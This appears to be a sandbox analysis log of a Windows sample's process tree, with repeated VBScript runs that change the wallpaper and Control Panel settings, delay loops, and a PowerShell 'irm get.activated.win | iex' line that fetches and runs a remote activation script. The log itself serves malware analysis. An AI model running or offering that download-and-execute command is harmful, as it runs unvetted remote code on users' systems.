C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\sound.vbs"3⤵
- Enumerates connected drives
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 33⤵
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 33⤵
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 33⤵
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 33⤵
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 33⤵
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 33⤵
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 33⤵
- Delays execution with timeout.exe
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell wininit3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x498 0x5101⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" irm get.activated.win | iex1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Windows\Temp\MAS_25855974.cmd" "2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\sc.exesc query Null3⤵
-
-
C:\Windows\System32\find.exefind /i "RUNNING"3⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "MAS_25855974.cmd"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ver3⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV23⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo prompt $E | cmd3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "4⤵
-
-
C:\Windows\System32\cmd.execmd4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_25855974.cmd" "3⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"3⤵
-
-
C:\Windows\System32\fltMC.exefltmc3⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\Console /v QuickEdit3⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"3⤵
-
-
C:\Windows\System32\reg.exereg add HKCU\Console /v QuickEdit /t REG_DWORD /d "0" /f3⤵
- Modifies registry key
-
-
C:\Windows\System32\cmd.execmd.exe /c ""C:\Windows\Temp\MAS_25855974.cmd" -qedit"3⤵
-
C:\Windows\System32\reg.exereg add HKCU\Console /v QuickEdit /t REG_DWORD /d "1" /f4⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc query Null4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "MAS_25855974.cmd"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "-qedit" "4⤵
-
-
C:\Windows\System32\find.exefind /i "/"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ver4⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV24⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo prompt $E | cmd4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "5⤵
-
-
C:\Windows\System32\cmd.execmd5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_25855974.cmd" "4⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"4⤵
-
-
C:\Windows\System32\fltMC.exefltmc4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\Console /v QuickEdit4⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "0x0"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ping -4 -n 1 updatecheck.massgrave.dev4⤵
-
C:\Windows\System32\PING.EXEping -4 -n 1 updatecheck.massgrave.dev5⤵
- Runs ping.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "127.69.2.6" "4⤵
-
-
C:\Windows\System32\find.exefind "127.69"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "127.69.2.6" "4⤵
-
-
C:\Windows\System32\find.exefind "127.69.2.6"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "-qedit" "4⤵
-
-
C:\Windows\System32\find.exefind /i "/S"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "-qedit" "4⤵
-
-
C:\Windows\System32\find.exefind /i "/"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop4⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop5⤵
-
-
-
C:\Windows\System32\mode.commode 76, 304⤵
-
-
C:\Windows\System32\choice.exechoice /C:123456780 /N4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ver4⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV24⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo prompt $E | cmd4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "5⤵
-
-
C:\Windows\System32\cmd.execmd5⤵
-
-
-
C:\Windows\System32\mode.commode 110, 344⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe $ExecutionContext.SessionState.LanguageMode4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\find.exefind /i "Full"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%')"4⤵
-
